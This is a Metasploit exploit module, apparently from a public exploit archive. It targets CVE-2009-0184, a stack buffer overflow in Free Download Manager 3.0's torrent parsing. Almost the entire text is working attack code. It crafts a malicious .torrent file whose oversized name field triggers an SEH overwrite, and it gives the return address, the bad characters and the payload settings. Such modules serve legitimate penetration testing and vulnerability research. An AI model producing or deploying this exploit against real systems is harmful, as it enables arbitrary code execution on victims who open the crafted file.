Free Download Manager 3.0 Build 844 – Torrent Parsing Buffer Overflow (Metasploit)
## # $Id: fdm_torrent.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Free Download Manager Torrent Parsing Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Free Download Manager 3.0 Build 844. Arbitrary code execution could occur when parsing a specially crafted torrent file. }, 'License' => MSF_LICENSE, 'Author' => [ 'SkD <skdrat[at]hotmail.com>', 'jduck', ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2009-0184' ], [ 'OSVDB', '54033' ], [ 'BID', '33555' ], [ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/vmsBtDownloadManager.cpp?r1=11&r2=18' ], [ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/Bittorrent/fdmbtsupp/vmsBtFileImpl.cpp?r1=9&r2=18' ], [ 'URL', 'http://secunia.com/secunia_research/2009-5/' ], [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/33555-SkD.pl' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'DisableNops' => 'True', 'BadChars' => "\x00\x2c\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Free Download Manager 3.0 (Build 844)', { 'Ret' => 0x76051372 # pop/pop/ret @ msvcp60.dll } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 2 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.torrent']), ], self.class) end def exploit bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret) # hit the end of the stack... bof << rand_text(1000) * 50 len = rand(10*1024*1024) info_hash = { 'length' => len, 'name' => bof, 'piece length' => len + rand(262144 - len), 'pieces' => rand_text(20), } ann_hash = { 'info' => info_hash, } encoded = bencode_hash(ann_hash) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(encoded) end # bencoding functions: # # http://wiki.theory.org/BitTorrentSpecification # def bencode_string(str) ret = "%d:" % str.length ret << str return ret end def bencode_int(int) ret = "i%de" % int return ret end def bencode_item(item) case item when Fixnum return bencode_int(item) when String return bencode_string(item) when Hash return bencode_hash(item) else throw("unsupported bencode data type! " + item.testzt) end end def bencode_list(list) ret = "l" list.each do |el| ret << bencode_item(el) end ret << "e" return ret end def bencode_hash(hash) ret = "d" hash.keys.sort.each do |k| ret << bencode_item(k) ret << bencode_item(hash[k]) end ret << "e" return ret end end |